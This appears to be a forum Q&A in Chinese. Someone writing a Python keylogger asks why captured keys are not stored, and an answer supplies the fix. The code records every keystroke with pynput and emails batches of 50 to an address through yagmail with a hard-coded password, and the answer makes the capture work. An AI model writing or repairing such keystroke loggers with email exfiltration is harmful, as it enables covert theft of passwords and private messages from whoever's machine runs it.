所以我正在做一个键盘记录器(没有iligel stuf),每当用户按下一个键,它应该把键添加到数组中,当数组达到50个键时,它应该复位。现在,所有这些都是在做 send(key)
每按50键,数组为空。我该如何解决这个问题?
count = 0
keys = []
listToStr = ' '.join([str(elem) for elem in keys])
message = """\
My list is {}.
"""
def send(keys):
print('test')
yag = yagmail.SMTP('[email protected]', 'ilovepizza')
yag.send('[email protected]', 'KeNogger', message.format(listToStr))
def on_press(key):
global keys, count
print(key)
count += 1
if count >= 50:
count = 0
send(keys)
keys = []
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
你需要添加你的 key
至 keys
列表。您可以使用 append
方法。
count = 0
keys = []
message = """\
My list is {}.
"""
def on_press(key):
global keys, count
print(key)
count += 1
# add the key to the list
keys.append(key)
if count >= 50:
count = 0
send(keys)
keys = []